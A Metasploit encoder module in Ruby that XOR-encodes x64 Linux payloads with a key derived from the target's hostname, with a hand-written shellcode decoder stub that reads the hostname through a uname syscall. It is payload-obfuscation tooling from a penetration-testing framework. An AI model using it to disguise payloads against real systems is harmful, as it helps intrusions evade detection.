modules/encoders/x64/xor_context.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Encoder::Xor
def initialize
super(
'Name' => 'Hostname-based Context Keyed Payload Encoder',
'Description' => 'Context-Keyed Payload Encoder based on hostname and x64 XOR encoder.',
'Author' => [ 'sf' 'oso' ],
'Arch' => ARCH_X64,
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Decoder' =>
{
'KeySize' => 8,
'KeyPack' => 'Q',
'BlockSize' => 8,
}
)
register_options([ OptString.new('C_HOSTNAME',[ true, "Context Hostname.", "hostname"])])
end
def obtain_key(buf, badchars, state)
# TODO: Currently only first 8 chars are taken as key. We should include the other chars in the key.
state.key = datastore['C_HOSTNAME'][0..8].reverse!.unpack('H*')[0].to_i(base=16)
end
def decoder_stub( state )
# calculate the (negative) block count . We should check this against state.badchars.
block_count = [-( ( (state.buf.length - 1) / state.decoder_key_size) + 1)].pack( "V" )
decoder = ""+
# get hostname
"\x6a\x3f\x58" + # push 0x3f; pop rax
"\x48\x8D\x3C\x24" + # lea rdi, [rsp]
"\x0F\x05" + # syscall ; LINUX - sys_uname
"\x48\x8B\x5F\x41" + # movq rbx, [rdi+0x41]; hostname
# loop
"\x48\x31\xC9" + # xor rcx, rcx
"\x48\x81\xE9" + block_count + # sub ecx, block_count
"\x48\x8D\x05\xEF\xFF\xFF\xFF" + # lea rax, [rip - 0x01]
"\x48\x31\x58\x1d" + # xor [rax+0x1d], rbx
"\x48\x2D\xF8\xFF\xFF\xFF" + # sub rax, -8
"\xE2\xF4" # loop 0x1B
return decoder
end
end